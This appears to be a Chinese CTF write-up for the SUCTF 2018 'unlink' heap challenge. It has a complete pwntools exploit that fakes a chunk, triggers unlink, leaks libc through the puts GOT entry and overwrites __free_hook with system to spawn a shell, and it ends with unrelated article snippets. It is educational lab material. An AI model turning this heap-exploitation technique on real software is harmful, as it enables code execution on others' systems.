【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink

news/2024/5/19 23:40:42 标签: heap, CTF, PWN, unlink, __free_hook

在前期学习了unlink后,今天翻NSSCTF找到一道名为unlink的题目,尝试不看wp做。过程很顺利!


前言

题目对于知识点unlink还是非常裸的,很直接,思路很清晰。


一、题目


二、思路浅析

通过对该程序的反编译,我们发现存在存储malloc得到空间地址的指针序列,存放在bss段上,同时take_note存在溢出漏洞,可以出发unlink——将指针劫持到bss段上指针序列地址。同时malloc到的指针区域有着读写权限,这意味着我们可以通过unlink达到任意地址读写的极高权限!

很明显:

1.unlink

2.__free_hook劫持


三、exp

先给出exp,再把exp过程部分断点效果展示给大家,方便大家理解。(第四部分,对于raw_input()断下处,进行gdb调试分析)

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')

# io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28867)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def touch(size):
    io.sendlineafter(b'chooice :\n',b'1')
    io.sendlineafter(b'size : \n',str(size).encode())

def delete(index):
    io.sendlineafter(b'chooice :\n',b'2')
    io.sendlineafter(b'to delete\n',str(index).encode())

def show(index):
    io.sendlineafter(b'chooice :\n',b'3')
    io.sendlineafter(b'to show\n',str(index).encode())
    io.recvuntil(b'is : ')

def take_note(index,payload):
    io.sendlineafter(b'chooice :\n',b'4')
    io.sendlineafter(b'modify :\n',str(index).encode())
    io.sendafter(b'content\n',payload)

if input('[!]Input "0" to gdb attach : ')=='0':
    gdb.attach(io)
buf=0x6020C0
touch(0x20)  # 写fake-chunk、溢出下一个chunk
touch(0x80)  # free触发unlink
touch(0x100) # 防止和topchunk合并
raw_input('[!]check')

# 写fake-chunk,溢出下一个chunk
prev_size=p64(0)
chunk_size=p64(0x20)
fd=buf-0x18
bk=buf-0x10
content=p64(fd)+p64(bk)
of_prev_size=p64(0x20)
of_chunk_size=p64(0x90)
payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size
take_note(0,payload)
raw_input('[!]check')

# 触发unlink
delete(1)
raw_input('[!]check')

# 修改系列ptr的值
payload=p64(0)*3+p64(0x6020c8)
take_note(0,payload)
raw_input('[!]check')

# 通过puts泄露libc地址
payload=p64(elf.got['puts'])
take_note(0,payload)
raw_input('[!]check')
show(1)
puts=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
success(hex(puts))

# __free_hook
libc_base=puts-libc.sym['puts']
free_hook=libc_base+libc.sym['__free_hook']
bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))
payload=p64(free_hook)+p64(bin_sh_str)
take_note(0,payload)
raw_input('[!]check')
system=libc_base+libc.sym['system']
take_note(1,p64(system))
raw_input('[!]check')
delete(2)

io.interactive()

四、exp效果具体分析

1.fake_chunk部分

这是刚分配完三个chunk后的内存情况,当我们执行下面这些语句构造fake_chunk

2.触发unlink

由于我们已经内存精心布置过,这是我们free chunk1能够向前合并chunk0中构造的fake_chunk且绕过保护机制

利用成功!

3.稍作修改

实际已经获得了任意地址读写的能力,但是个人习惯,先将上面的地址稍稍改一下

4.任意地址读——泄露libc——泄露puts真实地址

首先将puts的got表地址写到bss上,再通过show函数访问栈上指针指向的区域,也即puts_got内存储的东西——puts的真实地址,通过相对地址可泄露libc基址进而获得其他需要的函数/字符串地址

5.劫持__free_hook

思路是将__free_hook的got表写在chunk1指针处,将指向字符串'/bin/sh\x00'的指针写在chunk2位置,然后通过take_note函数写__free_hook为system,再free掉chunk2触发system('/bin/sh\x00')

 

 成功获得shell(这里是本地调试)


http://www.niftyadmin.cn/n/5178484.html

相关文章

通过百度翻译API完成Java中的中英文翻译

因为要做英文文献索引分词,所以对于索引词汇必须得是英文,将表中的中文都转换成英文 这里用到百度的翻译API 首先需要注册成为百度翻译开发者:百度翻译开放平台 注册成为个人开发者就可以, 这里可以完善相关信息,要记…

图论15-有向图-环检测+度数+欧拉回路

文章目录 1. 有向图设计1.1 私有变量标记是否有向1.2 添加边的处理,双向变单向1.3 删除边的处理,双向变单向1.4 有向图的出度和入度 2 有向图的环检测2.1 普通的算法实现换检测2.2 拓扑排序中的环检测 3 欧拉回路 1. 有向图设计 1.1 私有变量标记是否有…

c++中static静态成员变量和静态成员函数、explcit和隐式类型转换、友元函数()详解

1.static静态成员(函数) 1.1概念 声明为 static 的类成员 称为 类的静态成员 ,用 static 修饰的 成员变量 ,称之为 静态成员变量 ;用 static 修饰 的 成员函数 ,称之为 静态成员函数 。 静态成员变量一定要在类外进行初始化 1.2…

MySQL数据库干货_28——ResultSet的使用

ResultSet的使用 ResultSet简介 ResultSet接口的特点 ResultSet用来存放数据库查询操作获得结果集,通过对ResultSet的操作可以获取查询到的结果集数据。 注意: ResultSet 对象中存放的并不是我们查询到的所有的结果集。它采用分块加载的方式来载入结果…

Android自定义控件:一款多特效的智能loadingView

先上效果图(如果感兴趣请看后面讲解): 1、登录效果展示 2、关注效果展示 1、【画圆角矩形】 画图首先是onDraw方法(我会把圆代码写上,一步一步剖析): 首先在view中定义个属性:priv…

阿里云服务器ECS经济型e实例规格云服务器性能介绍

阿里云服务器ECS推出经济型e系列,经济型e实例是阿里云面向个人开发者、学生、小微企业,在中小型网站建设、开发测试、轻量级应用等场景推出的全新入门级云服务器,CPU采用Intel Xeon Platinum架构处理器,支持1:1、1:2、1:4多种处理…

应用软件安全编程--15禁止使用被污染的数据作为缓冲区

将被污染的数据直接作为参数传递给对缓冲区进行处理的库函数、API 可能会造成缓冲区溢出。 对于禁止使用被污染的数据作为缓冲区的情况&#xff0c;示例1给出了不规范用法(C/C 语 言 ) 示 例 。 示 例 2 给 出 了 规 范 用 法(C/C 语言)示例。 示例1:#include<stdio…

函数模板:C++的神奇之处之一

引言&#xff1a; C函数模板是一种非常强大的编程技术&#xff0c;可以实现通用的算法和数据结构&#xff0c;提高代码的重用性和可维护性。本文将介绍C函数模板的基本概念、语法和使用方法&#xff0c;帮助开发者更好地理解和应用函数模板。 正文&#xff1a; 函数模板的概念…